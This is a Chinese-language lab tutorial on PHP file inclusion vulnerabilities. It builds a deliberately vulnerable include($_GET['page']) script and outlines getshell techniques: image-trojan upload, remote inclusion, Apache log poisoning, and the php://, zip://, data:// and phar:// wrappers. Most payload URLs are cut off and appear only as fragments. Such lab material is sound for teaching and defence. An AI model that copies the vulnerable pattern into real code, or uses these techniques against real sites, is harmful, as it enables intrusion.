原理: 文件包含漏洞产生的原因是在通过PHP函数引入文件时,由于传入的文件名没有 经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意 的代码注入。 几乎所有的脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程序中却非常少,这是有些语言设计 的弊端。在PHP中经常出现文件包含漏洞,但并不意味着其他语言不存在。 使用的函数: include():找不到被包含文件时会产生警告(E_WARNING) ; include_once():与include()类似,代码已经被包含则不会再次包含,即只执行一次 require():找不到被包含的文件时会产生致命错误,后续代码不执行(E_COMPILE_ERROR) require_once():与require()类似,代码已经被包含则不会再次包含
实验 创建include.php文件
<?php
include($_GET['page']);
?>
创建phpinfo.php文件
<?php phpinfo();?>
创建1123.php文件
<?php
echo "1123!!!";
?>
1.本地文件包含;(无视后缀)
http:
分别修改phpinfo.php文件后缀名为:txt、jpg、rar、png等均可解析。 1.1本地包含配合文件上传 上传图片马 生成格式:copy 1.jpg/b+phpinfo.php/a 2.jpg 其中b表示base64编码,a表示ASCII编码
2.远程文件包含getshell; 要求:目标机apache配置文件中:allow_url_include是开启的(状态为on)
http:
3.apache日志文件包含getshell; 打开apache的配置文件httpd.conf,去掉CustomLog “logs/access.log” common前面的# 访问本机phpinfo.php文件后查看access.log文件,找到刚才的登录日志 发现符号被编码。利用BurpSuite抓包,将被编码的符号改回,再次发送后查看access.log文件,发现代码没有再被编码,phpinfo写入access.log文件中
4.php伪协议; (1) php://input命令执行 (allow_url_include=on,allow_url_fopen不做要求) 写入shell (2)filter://读取源码 (allow_url_include,allow_url_fopen不做要求)
?page=php:
?page=php:
(3) zip://getshell 这里先将1123.php文件压缩为zip格式,并增添123.txt格式。如果解析失败则将压缩包改为jpg格式。使用zip协议需要指定的绝对路径,使用相对路径会包含失败。
?page=zip:
(4)data:// 代码执行 php版本大于5.2,allow_url_include,allow_url_fopen都为on状态
?page=data:
?page=data:
(5)phar://
?page=phar:
?page=phar:
|